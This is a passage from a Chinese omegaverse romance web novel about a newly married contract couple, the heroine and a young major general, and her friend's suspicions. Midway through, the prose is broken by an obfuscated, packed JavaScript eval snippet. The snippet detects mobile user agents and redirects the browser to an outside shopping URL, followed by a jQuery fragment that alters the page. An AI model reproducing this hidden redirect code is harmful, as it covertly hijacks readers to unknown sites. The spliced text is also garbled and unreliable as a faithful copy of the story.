“二十五岁的少将、S级Alpha还需要自己送上门,但凡她放出一点风声,整个帝国的Omega都得去她家门口排队吧?” 裴烬野与祝敛青并未举办婚礼,那日匆匆领证后,裴烬野就回到军区。 第二天,裴家派人赶到祝家,祝家才得知祝敛青退婚又结婚的事。 祝家上下又惊又喜,既生气于祝敛青一个人敢做出那么大的决定,又惊喜于她找了一个比许峥更优秀的结婚对象。 祝家当即决定要将这好消息告知所有人,并筹办盛大婚礼,却遭祝敛青制止。 这个契约结婚来得突然,她并不熟悉裴烬野性格,只能按照第一次见面的相处细节推断。 裴烬野就好像从哪里得知祝敛青这样一个人,特地赶到咖啡店外,看着她识时务地退了婚,便觉得她是个不错的合作对象。 至于目的,大概是因为裴家逼婚?还是其他? 祝敛青并不清楚。 但她想这样的合作婚约,大概没有人会想要婚礼,并被大肆宣扬、昭告整个帝星吧? 而且裴家态度也奇怪,虽是亲自上门,还送了一批堪称天价的丰厚彩礼,可言语举动间却有一种诡异的别扭。 裴烬野和裴家都好像隐瞒什么,但祝敛青很有一个优秀合作者的自觉,没有质问,只是用对待许家的态度,对待裴烬野与裴家。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17540078|203873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 裴烬野既然知晓这事,想比也是认可她的这种处理方法吧。 所以现在只有祝家、裴家,真正知晓她们的婚姻关系,其他人听到消息,只觉半信半疑。 祝家真的能与裴家攀上亲?这可比林家更具势力的家族,而且还是裴少将。 听起来特别像裴家被退婚后,搁不下面的谎言。 故而,就连沈乐这些好友都处于一个懵懵懂懂的状态。 真是裴少将? 而不是同名同姓的Alpha? 不是觉得祝敛青配不上,只是裴烬野给人一种不真实感。 一个前期默默无闻,十八岁突然横空出世的顶级Alpha,靠着一场场战役走至帝国高层。 其实有一段时间帝国内外都在传,是不是因为前几年的连连战败,导致帝国中气氛低迷,所以高层编出了一个天才人物来鼓舞人心。 直到前线战役暂缓,裴烬野赶回帝都,授勋升职,参与阅军大典。 大家才后知后觉反应过来,原来真的有这样一个人? 这也是祝敛青的生日宴会时,祝家为何几次三番问祝敛青,裴烬野能不能来。 也是幸于那次宴会,终于有人开始相信祝家的话,还帮祝家四处辩解。 但这些话显然还没传到沈月耳朵里,她震惊又怀疑,忍不住再问:“你查过没有,会不会有人假冒?” 祝敛青无奈,只好解释说:“她当时就给我看了她的全部证件,还登录帝国网,翻出自己简历与照片,全都对得上。” “再说,这些可以伪造,但裴家不能吧?” 沈乐想想也是,但还是忍不住替好友担忧,说:“她到底有什么目的?” 主动送上门这一点也太奇怪了吧! 祝敛青微微皱眉,又摇了摇头,表示自己不清楚。 但以目前的相处来看,裴烬野性格温和有礼,也非常尊重她,甚至愿意配合她的各种要求。 但…… 为什么呢? 隐藏在内心深处的怀疑又一次浮现,但很快就被沈乐的声音打断。 “她又给你发信息了,”这一次沈乐没有阴阳怪气,反而主动提醒。 祝敛青下意识看过去,应该是裴烬野许久没有得到回应,发来了一个疑惑小鼠的表情包。 不得不承认,这个看似遥不可及的少将,确实有许许多多特别的小习惯。 喜欢甜食、喜欢下厨,爱烤小熊饼干,现在还多了一个喜欢发可爱仓鼠表情包的癖好。 祝敛青有些想笑,却又抿紧唇角。 她想,她不应该在朋友面前笑裴烬野,会让她很没面子。 沈乐不知她心中所想,只是下意识看向祝敛青的脸,继而疑惑问道:“你的嘴唇怎么有点红肿?” “嗯?” 祝敛青露出疑惑表情,脑海中不自觉浮现那个浅尝辄止的吻…… 可那又怎么可能?只轻轻碰了一会。 “大概是饼干吃多了,有点上火,”祝敛青只能这样解释。 “是吗?”沈乐半信半疑。 店员在此刻上前,告诉她们已经布置好包厢,她们点的饮品与蛋糕都被放到那边。 祝敛青突然想起这家的蛋糕也很不错。 通讯器恰时响起,一分钟后裴烬野收到了祝敛青的消息。 【蛋糕图片.jpg】 【这家蛋糕的味道不错,如果你有空的话,可以过来试一试?】 十分钟后。 穿戴整齐的裴烬野出现在店门口。